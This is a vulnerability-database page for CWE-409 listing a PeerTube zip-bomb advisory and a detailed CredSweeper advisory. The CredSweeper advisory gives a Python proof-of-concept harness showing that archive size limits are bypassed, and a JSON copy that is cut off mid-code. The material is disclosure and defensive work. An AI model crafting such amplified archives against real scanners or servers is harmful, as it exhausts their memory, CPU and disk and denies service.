CWE-409
AllowedImproper Handling of Highly Compressed Data (Data Amplification)
Abstraction: Base · Status: Incomplete
The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
151 vulnerabilities reference this CWE, most recent first.
GHSA-89C2-GVR7-7R9W
Vulnerability from github – Published: 2025-04-15 15:30 – Updated: 2025-04-15 15:30This vulnerability allows any authenticated user to cause the server to consume very large amounts of disk space when extracting a Zip Bomb.
If user import is enabled (which is the default setting), any registered user can upload an archive for importing. The code uses the yauzl library for reading the archive. The yauzl library does not contain any mechanism to detect or prevent extraction of a Zip Bomb https://en.wikipedia.org/wiki/Zip_bomb . Therefore, when using the User Import functionality with a Zip Bomb, PeerTube will try extracting the archive which will cause a disk space resource exhaustion.
{
"affected": [],
"aliases": [
"CVE-2025-32949"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-15T15:16:09Z",
"severity": "MODERATE"
},
"details": "This vulnerability allows any authenticated user to cause the server to consume very large amounts of disk space when extracting a Zip Bomb. \n\nIf user import is enabled (which is the default setting), any registered user can upload an archive for importing. The code uses the yauzl library for reading the archive. The yauzl library does not contain any mechanism to detect or prevent extraction of a Zip Bomb https://en.wikipedia.org/wiki/Zip_bomb . Therefore, when using the User Import functionality with a Zip Bomb, PeerTube will try extracting the archive which will cause a disk space resource exhaustion.",
"id": "GHSA-89c2-gvr7-7r9w",
"modified": "2025-04-15T15:30:54Z",
"published": "2025-04-15T15:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32949"
},
{
"type": "WEB",
"url": "https://github.com/Chocobozzz/PeerTube/releases/tag/v7.1.1"
},
{
"type": "WEB",
"url": "https://research.jfrog.com/vulnerabilities/peertube-archive-resource-exhaustion"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9MQM-QCWF-5QHG
Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25Summary
CredSweeper's deep scanner does not enforce recursive_limit_size as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and AbstractScanner.recursive_scan() continues processing even when the residual budget is already negative.
This allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (--depth > 0). I confirmed this on upstream commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 / package version 1.15.8.
The issue has two closely related exploitation paths that share the same root cause:
-
Single-stream decompressor bypass:
gzip,bzip2, andlzma/xzinputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative. -
Multi-entry archive cumulative-budget bypass:
zipandtarentries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.
The impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.
Details
The vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.
The relevant call chain is:
credsweeper/app.py:323self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)credsweeper/deep_scanner/abstract_scanner.py:269-305The initial deep-scan entry point passes a recursive size budget into nested scanners.credsweeper/deep_scanner/abstract_scanner.py:58-94recursive_scan()stops only on:- negative depth
- data shorter than
MIN_DATA_LENIt does not stop whenrecursive_limit_sizeis negative.
Exact source-level issue:
- Negative budgets are still accepted
credsweeper/deep_scanner/abstract_scanner.py:71-91
if 0 > depth:
return candidates
depth -= 1
if MIN_DATA_LEN > len(data_provider.data):
return candidates
...
new_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)
There is no guard such as if recursive_limit_size < 0: return.
- Full decompression happens before any hard budget enforcement
credsweeper/deep_scanner/gzip_scanner.py:33-43
with gzip.open(io.BytesIO(data_provider.data)) as f:
gzip_content_provider = DataContentProvider(data=f.read(), ...)
new_limit = recursive_limit_size - len(gzip_content_provider.data)
gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)
credsweeper/deep_scanner/bzip2_scanner.py:38-43
bzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(bzip2_content_provider.data)
bzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)
credsweeper/deep_scanner/lzma_scanner.py:38-43
lzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(lzma_content_provider.data)
lzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)
The decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because recursive_scan() accepts negative budgets, the oversize content is still scanned.
- Multi-entry archives use per-entry checks instead of a shared cumulative budget
credsweeper/deep_scanner/zip_scanner.py:49-60
if 0 > recursive_limit_size - zfl.file_size:
continue
with zf.open(zfl) as f:
zip_content_provider = DataContentProvider(data=f.read(), ...)
new_limit = recursive_limit_size - len(zip_content_provider.data)
zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)
credsweeper/deep_scanner/tar_scanner.py:48-59
if 0 > recursive_limit_size - tfi.size:
continue
with tf.extractfile(tfi) as f:
tar_content_provider = DataContentProvider(data=f.read(), ...)
new_limit = recursive_limit_size - len(tar_content_provider.data)
tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)
These checks use the same original recursive_limit_size for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a zip or tar with many individually small files can exceed the intended aggregate extraction limit.
- Same code pattern is also present in RPM scanning
credsweeper/deep_scanner/rpm_scanner.py:42-51
The RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.
Version scope:
- The vulnerable recursive scanning logic was introduced by commit
0bd8fe56ad2e08b12d47677f7dbe1a75913969ae. - The last release before that commit is
v1.4.8. - The first release containing that commit is
v1.4.9. - Current upstream HEAD and package version
1.15.8are still affected.
PoC
I reproduced the issue on:
- Repository:
https://github.com/Samsung/CredSweeper - Commit:
8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 - Version:
1.15.8
I used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library.
Reproduction steps:
- Clone the repository:
git clone https://github.com/Samsung/CredSweeper.git
cd CredSweeper
git checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
- Save the following as
proof_poc.pyone directory above the repository, or adjustREPO_ROOTaccordingly:
import bz2
import gzip
import importlib.util
import io
import json
import lzma
import os
import subprocess
import sys
import tarfile
import types
import zipfile
REPO_ROOT = os.path.abspath(os.environ.get("CREDSWEEPER_REPO", "CredSweeper"))
SOURCE_ROOT = os.path.join(REPO_ROOT, "credsweeper")
def load_module(name, relpath):
spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))
module = importlib.util.module_from_spec(spec)
sys.modules[name] = module
spec.loader.exec_module(module)
return module
def reset_credsweeper_modules():
for name in list(sys.modules):
if name == "credsweeper" or name.startswith("credsweeper."):
del sys.modules[name]
def install_common_stubs():
for name in [
"credsweeper",
"credsweeper.common",
"credsweeper.config",
"credsweeper.credentials",
"credsweeper.deep_scanner",
"credsweeper.file_handler",
"credsweeper.scanner",
"credsweeper.utils",
]:
module = types.ModuleType(name)
module.__path__ = []
sys.modules[name] = module
constants_module = types.ModuleType("credsweeper.common.constants")
constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30
constants_module.MIN_DATA_LEN = 8
constants_module.DEFAULT_ENCODING = "utf_8"
constants_module.UTF_8 = "utf_8"
constants_module.MIN_VALUE_LENGTH = 4
sys.modules["credsweeper.common.constants"] = constants_module
config_module = types.ModuleType("credsweeper.config.config")
class Config: pass
config_module.Config = Config
sys.modules["credsweeper.config.config"] = config_module
candidate_module = types.ModuleType("credsweeper.credentials.candidate")
class Candidate:
@staticmethod
def get_dummy_candidate(*_args, **_kwargs):
return "dummy"
candidate_module.Candidate = Candidate
sys.modules["credsweeper.credentials.candidate"] = candidate_module
augment_module = types.ModuleType("credsweeper.credentials.augment_candidates")
def augment_candidates(dst, src):
if src:
dst.extend(src)
augment_module.augment_candidates = augment_candidates
sys.modules["credsweeper.credentials.augment_candidates"] = augment_module
descriptor_module = types.ModuleType("credsweeper.file_handler.descriptor")
class Descriptor:
def __init__(self, extension="", info=""):
self.extension = extension
self.info = info
descriptor_module.Descriptor = Descriptor
sys.modules["credsweeper.file_handler.descriptor"] = descriptor_module
file_path_extractor_module = types.ModuleType("credsweeper.file_handler.file_path_extractor")
class FilePathExtractor:
FIND_BY_EXT_RULE = "Suspicious File Extension"
@staticmethod
def is_find_by_ext_file(_config, _extension):
return False
@staticmethod
def check_exclude_file(_config, _path):
return False
file_path_extractor_module.FilePathExtractor = FilePathExtractor
sys.modules["credsweeper.file_handler.file_path_extractor"] = file_path_extractor_module
scanner_module = types.ModuleType("credsweeper.scanner.scanner")
class Scanner: pass
scanner_module.Scanner = Scanner
sys.modules["credsweeper.scanner.scanner"] = scanner_module
util_module = types.ModuleType("credsweeper.utils.util")
class Util:
@staticmethod
def get_extension(path, lower=True):
ext = os.path.splitext(str(path))[1]
return ext.lower() if lower else ext
util_module.Util = Util
sys.modules["credsweeper.utils.util"] = util_module
content_provider_module = types.ModuleType("credsweeper.file_handler.content_provider")
class ContentProvider: pass
content_provider_module.ContentProvider = ContentProvider
sys.modules["credsweeper.file_handler.content_provider"] = content_provider_module
data_content_provider_module = types.ModuleType("credsweeper.file_handler.data_content_provider")
class DataContentProvider:
def __init__(self, data, file_path=None, file_type=None, info=None):
self.data = data
self.file_path = file_path or ""
self.file_type = file_type or ""
self.info = info or ""
self.descriptor = Descriptor(extension=self.file_type, info=self.info)
data_content_provider_module.DataContentProvider = DataContentProvider
sys.modules["credsweeper.file_handler.data_content_provider"] = data_content_provider_module
def install_provider_stub(module_name, class_name):
module = types.ModuleType(module_name)
class Provider:
def __init__(self, *args, **kwargs):
for key, value in kwargs.items():
setattr(self, key, value)
setattr(module, class_name, Provider)
sys.modules[module_name] = module
install_provider_stub("credsweeper.file_handler.byte_content_provider", "ByteContentProvider")
install_provider_stub("credsweeper.file_handler.diff_content_provider", "DiffContentProvider")
install_provider_stub("credsweeper.file_handler.string_content_provider", "StringContentProvider")
install_provider_stub("credsweeper.file_handler.struct_content_provider", "StructContentProvider")
install_provider_stub("credsweeper.file_handler.text_content_provider", "TextContentProvider")
def get_head_commit():
return subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=REPO_ROOT, text=True).strip()
def get_package_version():
init_path = os.path.join(SOURCE_ROOT, "__init__.py")
with open(init_path, "r", encoding="utf-8") as handle:
for line in handle:
if line.strip().startswith("__version__ = "):
return line.split("=", 1)[1].strip().strip('"')
raise RuntimeError("Cannot locate __version__")
def load_scanners():
reset_credsweeper_modules()
install_common_stubs()
abstract_module = load_module("credsweeper.deep_scanner.abstract_scanner", "deep_scanner/abstract_scanner.py")
gzip_module = load_module("credsweeper.deep_scanner.gzip_scanner", "deep_scanner/gzip_scanner.py")
bzip2_module = load_module("credsweeper.deep_scanner.bzip2_scanner", "deep_scanner/bzip2_scanner.py")
lzma_module = load_module("credsweeper.deep_scanner.lzma_scanner", "deep_scanner/lzma_scanner.py")
zip_module = load_module("credsweeper.deep_scanner.zip_scanner", "deep_scanner/zip_scanner.py")
tar_module = load_module("credsweeper.deep_scanner.tar_scanner", "deep_scanner/tar_scanner.py")
provider_module = sys.modules["credsweeper.file_handler.data_content_provider"]
return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module
class RecordingRecursiveCalls:
def __init__(self):
self.calls = []
self.config = object()
def recursive_scan(self, data_provider, depth, recursive_limit_size):
self.calls.append({
"path": data_provider.file_path,
"len": len(data_provider.data),
"limit": recursive_limit_size,
"info": data_provider.info,
"depth": depth,
})
return []
def build_compressed_payloads(payload):
gzip_buffer = io.BytesIO()
with gzip.GzipFile(fileobj=gzip_buffer, mode="wb") as handle:
handle.write(payload)
return {
"gzip": gzip_buffer.getvalue(),
"bzip2": bz2.compress(payload),
"lzma": lzma.compress(payload),
}
def proof_negative_budget_after_full_decompression():
_, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()
DataContentProvider = provider_module.DataContentProvider
payload = b"A" * 64
recursive_limit_size = 16
compressed_payloads = build_compressed_payloads(payload)
results = []
for name, module, file_name in [
("gzip", gzip_module, "proof.txt.gz"),
("bzip2", bzip2_module, "proof.txt.bz2"),
("lzma", lzma_module, "proof.txt.xz"),
]:
recorder = RecordingRecursiveCalls()
provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f"FILE:{file_name}")
scanner_class = getattr(module, f"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner")
scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
results.append({
"format": name,
"compressed_size": len(compressed_payloads[name]),
"decompressed_size": recorder.calls[0]["len"],
"configured_limit": recursive_limit_size,
"residual_limit_seen_by_recursive_scan": recorder.calls[0]["limit"],
"recursive_call": recorder.calls[0],
})
return results
def proof_negative_budget_not_rejected():
abstract_module, _, _, _, _, _, provider_module = load_scanners()
DataContentProvider = provider_module.DataContentProvider
AbstractScanner = abstract_module.AbstractScanner
class DemoScanner(AbstractScanner):
@property
def config(self):
return object()
@property
def scanner(self):
return object()
def data_scan(self, data_provider, depth, recursive_limit_size):
return []
@staticmethod
def get_deep_scanners(data, descriptor, depth):
return [], []
def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):
self.proof = {
"data_len": len(data_provider.data),
"depth": depth,
"recursive_limit_size": recursive_limit_size,
}
return []
demo = DemoScanner()
provider = DataContentProvider(b"A" * 64, file_path="oversize.txt", file_type=".txt", info="FILE:oversize.txt")
demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)
return demo.proof
def proof_cumulative_budget_bypass_in_multi_entry_archives():
_, _, _, _, zip_module, tar_module, provider_module = load_scanners()
DataContentProvider = provider_module.DataContentProvider
recursive_limit_size = 16
member_size = 12
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as archive:
archive.writestr("a.txt", b"A" * member_size)
archive.writestr("b.txt", b"B" * member_size)
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode="w") as archive:
for name, fill in [("a.txt", b"A"), ("b.txt", b"B")]:
payload = fill * member_size
info = tarfile.TarInfo(name)
info.size = len(payload)
archive.addfile(info, io.BytesIO(payload))
results = []
for name, module, data, scanner_name in [
("zip", zip_module, zip_buffer.getvalue(), "ZipScanner"),
("tar", tar_module, tar_buffer.getvalue(), "TarScanner"),
]:
recorder = RecordingRecursiveCalls()
provider = DataContentProvider(data, file_path=f"proof.{name}", file_type=f".{name}", info=f"FILE:proof.{name}")
getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
results.append({
"format": name,
"configured_limit": recursive_limit_size,
"member_size": member_size,
"member_count": len(recorder.calls),
"total_extracted_bytes": sum(call["len"] for call in recorder.calls),
"recursive_calls": recorder.calls,
})
return results
print(json.dumps({
"head_commit": get_head_commit(),
"package_version": get_package_version(),
"proof_1_negative_budget_after_full_decompression": proof_negative_budget_after_full_decompression(),
"proof_2_negative_budget_not_rejected": proof_negative_budget_not_rejected(),
"proof_3_cumulative_budget_bypass_in_multi_entry_archives": proof_cumulative_budget_bypass_in_multi_entry_archives(),
}, indent=2, sort_keys=True))
- Run it with Python 3:
python proof_poc.py
- Expected/observed output from my run on commit
8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6:
{
"head_commit": "8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6",
"package_version": "1.15.8",
"proof_1_negative_budget_after_full_decompression": [
{
"format": "gzip",
"compressed_size": 24,
"configured_limit": 16,
"decompressed_size": 64,
"residual_limit_seen_by_recursive_scan": -48
},
{
"format": "bzip2",
"compressed_size": 39,
"configured_limit": 16,
"decompressed_size": 64,
"residual_limit_seen_by_recursive_scan": -48
},
{
"format": "lzma",
"compressed_size": 68,
"configured_limit": 16,
"decompressed_size": 64,
"residual_limit_seen_by_recursive_scan": -48
}
],
"proof_2_negative_budget_not_rejected": {
"data_len": 64,
"depth": 0,
"recursive_limit_size": -48
},
"proof_3_cumulative_budget_bypass_in_multi_entry_archives": [
{
"format": "zip",
"configured_limit": 16,
"member_size": 12,
"member_count": 2,
"total_extracted_bytes": 24
},
{
"format": "tar",
"configured_limit": 16,
"member_size": 12,
"member_count": 2,
"total_extracted_bytes": 24
}
]
}
What this proves:
-
GZIP/BZIP2/LZMA: With a configured recursive limit of
16, CredSweeper still fully inflates a64byte payload and then continues recursion with a residual limit of-48. -
AbstractScanner: The negative budget is not rejected.
recursive_scan()still dispatches intodeep_scan_with_fallback()withrecursive_limit_size = -48. -
ZIP/TAR: A configured limit of
16still allows two12byte members to be processed, for a total extracted size of24.
This is a complete end-to-end proof of the root cause and both exploitation variants.
Impact
This is an availability / resource-exhaustion vulnerability.
Who is impacted:
- Users who run CredSweeper with deep scanning enabled (
--depth > 0) on untrusted repositories, archives, or binary inputs. - CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.
- Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.
Practical consequences:
- Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.
- Archive inputs with many individually small members can exceed the configured budget in aggregate.
- Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.
Security classification:
- Primary weakness:
CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) - Related weakness:
CWE-400: Uncontrolled Resource Consumption
I did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.
Mitigation
I recommend fixing this in three layers:
- Add a hard negative-budget guard in
recursive_scan()andstructure_scan()
Before any recursive dispatch, abort when recursive_limit_size < 0.
-
Enforce limits before or during decompression, not after full materialization
-
gzip,bzip2,lzma/xzshould use bounded incremental decompression / bounded reads. -
If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.
-
Track a mutable cumulative budget across sibling archive members
-
zip,tar, andrpmshould share a remaining-budget counter across entries. - After one child is accepted, decrement the shared remaining budget before processing the next sibling.
Recommended regression tests:
- A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.
- Equivalent tests for bzip2 and lzma/xz.
- A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.
- A direct unit test for
recursive_scan()showing that negativerecursive_limit_sizestops recursion immediately.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "credsweeper"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.9"
},
{
"fixed": "1.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:25:51Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nCredSweeper\u0027s deep scanner does not enforce `recursive_limit_size` as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and `AbstractScanner.recursive_scan()` continues processing even when the residual budget is already negative.\n\nThis allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (`--depth \u003e 0`). I confirmed this on upstream commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` / package version `1.15.8`.\n\nThe issue has two closely related exploitation paths that share the same root cause:\n\n1. Single-stream decompressor bypass:\n `gzip`, `bzip2`, and `lzma/xz` inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.\n\n2. Multi-entry archive cumulative-budget bypass:\n `zip` and `tar` entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.\n\nThe impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.\n\n### Details\nThe vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.\n\nThe relevant call chain is:\n\n- `credsweeper/app.py:323`\n `self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)`\n- `credsweeper/deep_scanner/abstract_scanner.py:269-305`\n The initial deep-scan entry point passes a recursive size budget into nested scanners.\n- `credsweeper/deep_scanner/abstract_scanner.py:58-94`\n `recursive_scan()` stops only on:\n - negative depth\n - data shorter than `MIN_DATA_LEN`\n It does **not** stop when `recursive_limit_size` is negative.\n\nExact source-level issue:\n\n1. Negative budgets are still accepted\n\n`credsweeper/deep_scanner/abstract_scanner.py:71-91`\n\n```python\nif 0 \u003e depth:\n return candidates\ndepth -= 1\nif MIN_DATA_LEN \u003e len(data_provider.data):\n return candidates\n...\nnew_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)\n```\n\nThere is no guard such as `if recursive_limit_size \u003c 0: return`.\n\n2. Full decompression happens before any hard budget enforcement\n\n`credsweeper/deep_scanner/gzip_scanner.py:33-43`\n\n```python\nwith gzip.open(io.BytesIO(data_provider.data)) as f:\n gzip_content_provider = DataContentProvider(data=f.read(), ...)\n new_limit = recursive_limit_size - len(gzip_content_provider.data)\n gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/bzip2_scanner.py:38-43`\n\n```python\nbzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(bzip2_content_provider.data)\nbzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/lzma_scanner.py:38-43`\n\n```python\nlzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(lzma_content_provider.data)\nlzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)\n```\n\nThe decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because `recursive_scan()` accepts negative budgets, the oversize content is still scanned.\n\n3. Multi-entry archives use per-entry checks instead of a shared cumulative budget\n\n`credsweeper/deep_scanner/zip_scanner.py:49-60`\n\n```python\nif 0 \u003e recursive_limit_size - zfl.file_size:\n continue\nwith zf.open(zfl) as f:\n zip_content_provider = DataContentProvider(data=f.read(), ...)\n new_limit = recursive_limit_size - len(zip_content_provider.data)\n zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/tar_scanner.py:48-59`\n\n```python\nif 0 \u003e recursive_limit_size - tfi.size:\n continue\nwith tf.extractfile(tfi) as f:\n tar_content_provider = DataContentProvider(data=f.read(), ...)\n new_limit = recursive_limit_size - len(tar_content_provider.data)\n tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)\n```\n\nThese checks use the same original `recursive_limit_size` for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a `zip` or `tar` with many individually small files can exceed the intended aggregate extraction limit.\n\n4. Same code pattern is also present in RPM scanning\n\n`credsweeper/deep_scanner/rpm_scanner.py:42-51`\n\nThe RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.\n\nVersion scope:\n\n- The vulnerable recursive scanning logic was introduced by commit `0bd8fe56ad2e08b12d47677f7dbe1a75913969ae`.\n- The last release before that commit is `v1.4.8`.\n- The first release containing that commit is `v1.4.9`.\n- Current upstream HEAD and package version `1.15.8` are still affected.\n\n### PoC\nI reproduced the issue on:\n\n- Repository: `https://github.com/Samsung/CredSweeper`\n- Commit: `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`\n- Version: `1.15.8`\n\nI used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python\u0027s standard library.\n\nReproduction steps:\n\n1. Clone the repository:\n\n```bash\ngit clone https://github.com/Samsung/CredSweeper.git\ncd CredSweeper\ngit checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\n```\n\n2. Save the following as `proof_poc.py` one directory above the repository, or adjust `REPO_ROOT` accordingly:\n\n```python\nimport bz2\nimport gzip\nimport importlib.util\nimport io\nimport json\nimport lzma\nimport os\nimport subprocess\nimport sys\nimport tarfile\nimport types\nimport zipfile\n\nREPO_ROOT = os.path.abspath(os.environ.get(\"CREDSWEEPER_REPO\", \"CredSweeper\"))\nSOURCE_ROOT = os.path.join(REPO_ROOT, \"credsweeper\")\n\ndef load_module(name, relpath):\n spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))\n module = importlib.util.module_from_spec(spec)\n sys.modules[name] = module\n spec.loader.exec_module(module)\n return module\n\ndef reset_credsweeper_modules():\n for name in list(sys.modules):\n if name == \"credsweeper\" or name.startswith(\"credsweeper.\"):\n del sys.modules[name]\n\ndef install_common_stubs():\n for name in [\n \"credsweeper\",\n \"credsweeper.common\",\n \"credsweeper.config\",\n \"credsweeper.credentials\",\n \"credsweeper.deep_scanner\",\n \"credsweeper.file_handler\",\n \"credsweeper.scanner\",\n \"credsweeper.utils\",\n ]:\n module = types.ModuleType(name)\n module.__path__ = []\n sys.modules[name] = module\n\n constants_module = types.ModuleType(\"credsweeper.common.constants\")\n constants_module.RECURSIVE_SCAN_LIMITATION = 1 \u003c\u003c 30\n constants_module.MIN_DATA_LEN = 8\n constants_module.DEFAULT_ENCODING = \"utf_8\"\n constants_module.UTF_8 = \"utf_8\"\n constants_module.MIN_VALUE_LENGTH = 4\n sys.modules[\"credsweeper.common.constants\"] = constants_module\n\n config_module = types.ModuleType(\"credsweeper.config.config\")\n class Config: pass\n config_module.Config = Config\n sys.modules[\"credsweeper.config.config\"] = config_module\n\n candidate_module = types.ModuleType(\"credsweeper.credentials.candidate\")\n class Candidate:\n @staticmethod\n def get_dummy_candidate(*_args, **_kwargs):\n return \"dummy\"\n candidate_module.Candidate = Candidate\n sys.modules[\"credsweeper.credentials.candidate\"] = candidate_module\n\n augment_module = types.ModuleType(\"credsweeper.credentials.augment_candidates\")\n def augment_candidates(dst, src):\n if src:\n dst.extend(src)\n augment_module.augment_candidates = augment_candidates\n sys.modules[\"credsweeper.credentials.augment_candidates\"] = augment_module\n\n descriptor_module = types.ModuleType(\"credsweeper.file_handler.descriptor\")\n class Descriptor:\n def __init__(self, extension=\"\", info=\"\"):\n self.extension = extension\n self.info = info\n descriptor_module.Descriptor = Descriptor\n sys.modules[\"credsweeper.file_handler.descriptor\"] = descriptor_module\n\n file_path_extractor_module = types.ModuleType(\"credsweeper.file_handler.file_path_extractor\")\n class FilePathExtractor:\n FIND_BY_EXT_RULE = \"Suspicious File Extension\"\n @staticmethod\n def is_find_by_ext_file(_config, _extension):\n return False\n @staticmethod\n def check_exclude_file(_config, _path):\n return False\n file_path_extractor_module.FilePathExtractor = FilePathExtractor\n sys.modules[\"credsweeper.file_handler.file_path_extractor\"] = file_path_extractor_module\n\n scanner_module = types.ModuleType(\"credsweeper.scanner.scanner\")\n class Scanner: pass\n scanner_module.Scanner = Scanner\n sys.modules[\"credsweeper.scanner.scanner\"] = scanner_module\n\n util_module = types.ModuleType(\"credsweeper.utils.util\")\n class Util:\n @staticmethod\n def get_extension(path, lower=True):\n ext = os.path.splitext(str(path))[1]\n return ext.lower() if lower else ext\n util_module.Util = Util\n sys.modules[\"credsweeper.utils.util\"] = util_module\n\n content_provider_module = types.ModuleType(\"credsweeper.file_handler.content_provider\")\n class ContentProvider: pass\n content_provider_module.ContentProvider = ContentProvider\n sys.modules[\"credsweeper.file_handler.content_provider\"] = content_provider_module\n\n data_content_provider_module = types.ModuleType(\"credsweeper.file_handler.data_content_provider\")\n class DataContentProvider:\n def __init__(self, data, file_path=None, file_type=None, info=None):\n self.data = data\n self.file_path = file_path or \"\"\n self.file_type = file_type or \"\"\n self.info = info or \"\"\n self.descriptor = Descriptor(extension=self.file_type, info=self.info)\n data_content_provider_module.DataContentProvider = DataContentProvider\n sys.modules[\"credsweeper.file_handler.data_content_provider\"] = data_content_provider_module\n\n def install_provider_stub(module_name, class_name):\n module = types.ModuleType(module_name)\n class Provider:\n def __init__(self, *args, **kwargs):\n for key, value in kwargs.items():\n setattr(self, key, value)\n setattr(module, class_name, Provider)\n sys.modules[module_name] = module\n\n install_provider_stub(\"credsweeper.file_handler.byte_content_provider\", \"ByteContentProvider\")\n install_provider_stub(\"credsweeper.file_handler.diff_content_provider\", \"DiffContentProvider\")\n install_provider_stub(\"credsweeper.file_handler.string_content_provider\", \"StringContentProvider\")\n install_provider_stub(\"credsweeper.file_handler.struct_content_provider\", \"StructContentProvider\")\n install_provider_stub(\"credsweeper.file_handler.text_content_provider\", \"TextContentProvider\")\n\ndef get_head_commit():\n return subprocess.check_output([\"git\", \"rev-parse\", \"HEAD\"], cwd=REPO_ROOT, text=True).strip()\n\ndef get_package_version():\n init_path = os.path.join(SOURCE_ROOT, \"__init__.py\")\n with open(init_path, \"r\", encoding=\"utf-8\") as handle:\n for line in handle:\n if line.strip().startswith(\"__version__ = \"):\n return line.split(\"=\", 1)[1].strip().strip(\u0027\"\u0027)\n raise RuntimeError(\"Cannot locate __version__\")\n\ndef load_scanners():\n reset_credsweeper_modules()\n install_common_stubs()\n abstract_module = load_module(\"credsweeper.deep_scanner.abstract_scanner\", \"deep_scanner/abstract_scanner.py\")\n gzip_module = 